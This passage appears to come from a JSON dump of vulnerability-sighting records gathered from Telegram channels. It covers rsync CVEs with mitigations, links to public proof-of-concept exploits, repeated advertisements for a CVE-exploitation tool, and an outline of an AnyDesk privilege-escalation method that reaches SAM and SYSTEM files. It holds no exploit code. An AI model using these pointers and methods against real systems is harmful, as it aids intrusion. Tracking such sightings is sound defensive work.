\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n- \u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\n- \u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.", "creation_timestamp": "2025-01-16T08:02:31.000000Z"}, {"uuid": "15abc8ed-6f33-4dc7-bccf-288945ea17a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "Telegram/bFbvvsWFrdQ5h-XjTeMTF5qtVAXiD5xqM9z_pQQSq8_xqlI", "content": "", "creation_timestamp": "2025-01-07T21:30:05.000000Z"}, {"uuid": "da9f3606-05ff-422b-8186-f7c5608ec04c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3239", "content": "Tools - Hackers Factory\n\nResources for Mobile Application Testing\n\nhttps://github.com/0xSojalSec/Mobile-Application-Security\n\nCVE-2024-1212: Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.\n\nhttps://github.com/Chocapikk/CVE-2024-1212\n\nbug_bounty_scripts\n/firebase-scanner.py\n\nhttps://github.com/geeknik/bug_bounty_scripts/blob/main/firebase-scanner.py\n\nIndirect syscalls + DInvoke made simple.\n\nhttps://github.com/nbaertsch/nimvoke\n\nWindows Kernel Pool (clfs.sys) Corruption Privilege Escalation\n\nhttps://github.com/Nassim-Asrir/CVE-2023-36424\n\nOSINT tools for Information gathering, Cybersecurity, Reverse searching, bugbounty, trust and safety, red team oprations and more.\n\nhttps://github.com/Astrosp/Awesome-OSINT-For-Everything\n\nRembg is a tool to remove images background\n\nhttps://github.com/danielgatis/rembg\n\nHiddenVM \u2014 Use any desktop OS without leaving a trace.\n\nhttps://github.com/aforensics/HiddenVM\n\nGooFuzz is a tool to perform fuzzing with an OSINT approach, managing to enumerate directories, files, subdomains or parameters without leaving evidence on the target's server and by means of advanced Google searches (Google Dorking).\n\nhttps://github.com/m3n0sd0n4ld/GooFuzz\n\nRustRedOps is a repository dedicated to gathering and sharing advanced techniques and offensive malware for Red Team, with a specific focus on the Rust programming language.\n\nhttps://github.com/joaoviictorti/RustRedOps\n\n#HackersFactory", "creation_timestamp": "2024-03-27T20:09:16.000000Z"}, {"uuid": "735b5b6e-98fd-4e85-b1e4-1cf42fa3a7e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/v3n0mhack/313", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]", "creation_timestamp": "2024-02-26T20:19:03.000000Z"}, {"uuid": "6b0a7140-c1c1-44cf-9670-66f8b952ee73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/v3n0mhack/324", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]", "creation_timestamp": "2024-03-22T20:01:24.000000Z"}, {"uuid": "212cc3c3-40f3-4cee-9509-45e5ef6bd715", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2469", "content": "CVE-2024-12987 \n*\nDrayTek Gateways Vulnerable to Remote Command Injection\nPOC", "creation_timestamp": "2025-01-01T05:22:07.000000Z"}, {"uuid": "51ff9673-441e-4e6d-bc59-85c598783f30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2491", "content": "CVE-2024-12084  Rsync\n\u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438: \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n*\nPOC", "creation_timestamp": "2025-01-22T07:01:49.000000Z"}, {"uuid": "e2476b70-0165-45ec-81b7-b16449c379c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2514", "content": "CVE-2024-12754 AnyDesk \n*\nwtf\n*\nLPE poc exploit", "creation_timestamp": "2025-02-10T09:11:08.000000Z"}, {"uuid": "e47c09ee-487b-44cd-99dd-59999bce9f77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "Telegram/uGodMUBzhbBn5rLh8fYB_P7GWnyH7GbxjQpQK_uNBitS_Sk", "content": "", "creation_timestamp": "2025-02-21T02:47:42.000000Z"}, {"uuid": "b9833662-a7ed-4088-9984-c11e323b9501", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1457", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-09-17T21:29:50.000000Z"}, {"uuid": "4be2a7aa-c9f8-4613-b7a4-41faeea53d53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1380", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-02-23T22:03:27.000000Z"}, {"uuid": "bc005d91-4a0c-478b-a25d-e334138fac8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1397", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-03-19T16:05:55.000000Z"}, {"uuid": "2dfd230d-500d-4f62-a9b5-7619b45a8f89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/8019", "content": "Penetration/POCs/CVE-2024-12754 at main \u00b7 CICADA8-Research/Penetration \n\nhttps://github.com/CICADA8-Research/Penetration/tree/main/POCs/CVE-2024-12754\n\n#Tools@CyberDilara", "creation_timestamp": "2025-02-25T13:04:42.000000Z"}, {"uuid": "a43822d4-95ab-4957-8653-12173dedcb97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1444", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-09-17T21:29:51.000000Z"}, {"uuid": "a5183648-3ee8-48d5-9274-30e202a117b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1425", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-04-27T16:50:04.000000Z"}, {"uuid": "7767a36d-296b-4606-88bd-ab7c25d6bf12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1404", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-04-03T19:16:45.000000Z"}, {"uuid": "4d4c1064-2ce2-4745-b7d6-71b6eff1f660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1625", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-11-20T11:01:27.000000Z"}, {"uuid": "473895dd-7333-4ec5-aa8d-319bb65c2690", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1412", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-05-14T19:38:14.000000Z"}, {"uuid": "54336fb6-d008-4ede-9e61-ab7c1488eefc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "published-proof-of-concept", "source": "https://t.me/zero_day_uz/465", "content": "CVE-2024-12987 \n*\nDrayTek Gateways Vulnerable to Remote Command Injection\nPOC", "creation_timestamp": "2025-01-10T08:17:28.000000Z"}, {"uuid": "36eba812-5bca-4e2d-91b3-2c3dc2e76903", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "published-proof-of-concept", "source": "https://t.me/cyberden_team/530", "content": "\ud83d\uddbc AnyDesk \u2014 Local Privilege Escalation (CVE-2024-12754)\n\nA vulnerability in AnyDesk allows low-privileged users to perform arbitrary file read and copy operations with NT AUTHORITY\\SYSTEM privileges. Exploitation is possible by manipulating the background image, creating symbolic links, and leveraging ShadowCopy, granting access to SAM, SYSTEM, and SECURITY files, ultimately leading to privilege escalation to administrator.\n\n\ud83d\udd17 Source:\nhttps://mansk1es.gitbook.io/AnyDesk_CVE-2024-12754\n\n#windows #anydesk #lpe #cve", "creation_timestamp": "2025-02-06T19:39:34.000000Z"}, {"uuid": "3df683f6-20e8-4cf0-8e65-b8da5c4fef3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://t.me/CyberSecurityIL/64818", "content": "\u05d0\u05d9\u05e8\u05d5\u05e2\u05d9 \u05e1\u05d9\u05d9\u05d1\u05e8 \u05de\u05d4\u05d9\u05de\u05d9\u05dd \u05d4\u05d0\u05d7\u05e8\u05d5\u05e0\u05d9\u05dd \u05de\u05e1\u05d1\u05d9\u05d1 \u05dc\u05e2\u05d5\u05dc\u05dd:\n\n- \u05d7\u05d1\u05e8\u05ea STIIIZY, \u05d4\u05de\u05e9\u05d5\u05d5\u05e7\u05ea \u05de\u05d5\u05e6\u05e8\u05d9 \u05e7\u05e0\u05d0\u05d1\u05d9\u05e1 \u05e9\u05d5\u05e0\u05d9\u05dd, \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05e2\u05dc \u05d3\u05dc\u05e3 \u05de\u05d9\u05d3\u05e2 \u05e9\u05dc \u05dc\u05e7\u05d5\u05d7\u05d5\u05ea - \u05e7\u05d1\u05d5\u05e6\u05ea Everest \u05dc\u05d5\u05e7\u05d7\u05ea \u05d0\u05d7\u05e8\u05d9\u05d5\u05ea \u05e2\u05dc \u05d4\u05de\u05ea\u05e7\u05e4\u05d4.\n\n- \u05d0\u05e8\u05d4\u05f4\u05d1 \u05de\u05e2\u05d3\u05db\u05e0\u05ea \u05db\u05d9 \u05e7\u05d1\u05d5\u05e6\u05ea \u05d4\u05ea\u05e7\u05d9\u05e4\u05d4 \u05d4\u05e1\u05d9\u05e0\u05d9\u05ea Silk Typhoon \u05d4\u05e6\u05dc\u05d9\u05d7\u05d4 \u05dc\u05e4\u05e8\u05d5\u05e5 \u05dc\u05d0 \u05e8\u05e7 \u05dc\u05de\u05e9\u05e8\u05d3 \u05d4\u05d0\u05d5\u05e6\u05e8 \u05d0\u05dc\u05d0 \u05d2\u05dd \u05dc\u05d5\u05d5\u05e2\u05d3\u05d4 \u05dc\u05d4\u05e9\u05e7\u05e2\u05d5\u05ea \u05d6\u05e8\u05d5\u05ea (CFIUS).\n\n- \u05de\u05e9\u05e8\u05d3 \u05d4\u05de\u05e9\u05e4\u05d8\u05d9\u05dd \u05d1\u05d0\u05e8\u05d4\u05f4\u05d1 \u05de\u05e4\u05e8\u05e1\u05dd \u05db\u05ea\u05d1\u05d9 \u05d0\u05d9\u05e9\u05d5\u05dd \u05db\u05e0\u05d2\u05d3 \u05e9\u05dc\u05d5\u05e9\u05d4 \u05de\u05e4\u05e2\u05d9\u05dc\u05d9\u05dd \u05e9\u05dc \u05de\u05d9\u05e7\u05e1\u05e8 \u05d4\u05e7\u05e8\u05d9\u05e4\u05d8\u05d5 Blender \u05d5\u05de\u05d9\u05e7\u05e1\u05e8 Sinbad \u05d5\u05de\u05e6\u05d9\u05d9\u05df \u05db\u05d9 \u05d4\u05de\u05d9\u05e7\u05e1\u05e8\u05d9\u05dd \u05e1\u05d9\u05d9\u05e2\u05d5 \u05dc\u05d4\u05dc\u05d1\u05e0\u05d4 \u05e9\u05dc \u05db\u05e1\u05e4\u05d9\u05dd \u05e9\u05d4\u05ea\u05e7\u05d1\u05dc\u05d5 \u05de\u05de\u05ea\u05e7\u05e4\u05d5\u05ea \u05db\u05d5\u05e4\u05e8.\n\n- \u05d7\u05d1\u05e8\u05ea \u05d4\u05ea\u05e7\u05e9\u05d5\u05e8\u05ea \u05d4\u05e1\u05e4\u05e8\u05d3\u05d9\u05ea Telef\u00f3nica \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05e2\u05dc \u05d3\u05dc\u05e3 \u05de\u05d9\u05d3\u05e2 \u05d1\u05e2\u05e7\u05d1\u05d5\u05ea \u05d2\u05d9\u05e9\u05d4 \u05d1\u05dc\u05ea\u05d9 \u05de\u05d5\u05e8\u05e9\u05d9\u05ea \u05dc\u05de\u05e2\u05e8\u05db\u05ea \u05d4\u05e7\u05e8\u05d9\u05d0\u05d5\u05ea. \u05d4\u05d4\u05d5\u05d3\u05e2\u05d4 \u05e9\u05dc \u05d4\u05d7\u05d1\u05e8\u05d4 \u05de\u05d2\u05d9\u05e2\u05d4 \u05dc\u05d0\u05d7\u05e8 \u05e9\u05ea\u05d5\u05e7\u05e3 \u05e4\u05d9\u05e8\u05e1\u05dd \u05d0\u05ea \u05d4\u05de\u05d9\u05d3\u05e2 \u05dc\u05d4\u05d5\u05e8\u05d3\u05d4 \u05d1\u05d0\u05d7\u05d3 \u05d4\u05e4\u05d5\u05e8\u05d5\u05de\u05d9\u05dd.\n\n- \u05e8\u05e9\u05dd \u05d4\u05d3\u05d5\u05de\u05d9\u05d9\u05e0\u05d9\u05dd \u05d4\u05d1\u05e8\u05d9\u05d8\u05d9 Nominet \u05de\u05d3\u05d5\u05d5\u05d7 \u05db\u05d9 \u05ea\u05d5\u05e7\u05e4\u05d9\u05dd, \u05db\u05db\u05dc \u05d4\u05e0\u05e8\u05d0\u05d4 \u05de\u05e1\u05d9\u05df, \u05e0\u05d9\u05e6\u05dc\u05d5 \u05d0\u05ea \u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05d1-Ivanti \u05db\u05d3\u05d9 \u05dc\u05e4\u05e8\u05d5\u05e5 \u05dc\u05e8\u05e9\u05ea \u05d4\u05d0\u05e8\u05d2\u05d5\u05e0\u05d9\u05ea.\n\n- \u05e6\u05d5\u05d5\u05ea \u05d4\u05e4\u05d9\u05ea\u05d5\u05d7 \u05e9\u05dc \u05d4\u05de\u05e9\u05d7\u05e7 Path of Exile \u05de\u05d3\u05d5\u05d5\u05d7 \u05db\u05d9 \u05ea\u05d5\u05e7\u05e3 \u05d4\u05e6\u05dc\u05d9\u05d7 \u05dc\u05d2\u05e0\u05d5\u05d1 \u05d7\u05e9\u05d1\u05d5\u05e0\u05d5\u05ea \u05d0\u05d3\u05de\u05d9\u05df \u05d1\u05d0\u05de\u05e6\u05e2\u05d5\u05ea\u05dd \u05d4\u05d5\u05d0 \u05e4\u05e8\u05e5 \u05dc\u05d7\u05e9\u05d1\u05d5\u05e0\u05d5\u05ea \u05e9\u05dc \u05e2\u05e9\u05e8\u05d5\u05ea \u05de\u05e9\u05ea\u05de\u05e9\u05d9\u05dd.\n\n- \u05e1\u05d5\u05db\u05e0\u05d5\u05ea \u05d4\u05e1\u05d9\u05d9\u05d1\u05e8 \u05e9\u05dc \u05d0\u05e8\u05d4\u05f4\u05d1 (CISA) \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05db\u05d9 \u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05de\u05e0\u05e6\u05dc\u05d9\u05dd \u05d7\u05d5\u05dc\u05e9\u05d4 \u05d1-BeyondTrust \u05db\u05d3\u05d9 \u05dc\u05e4\u05e8\u05d5\u05e5 \u05dc\u05d0\u05e8\u05d2\u05d5\u05e0\u05d9\u05dd. \u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05d4\u05d9\u05d0 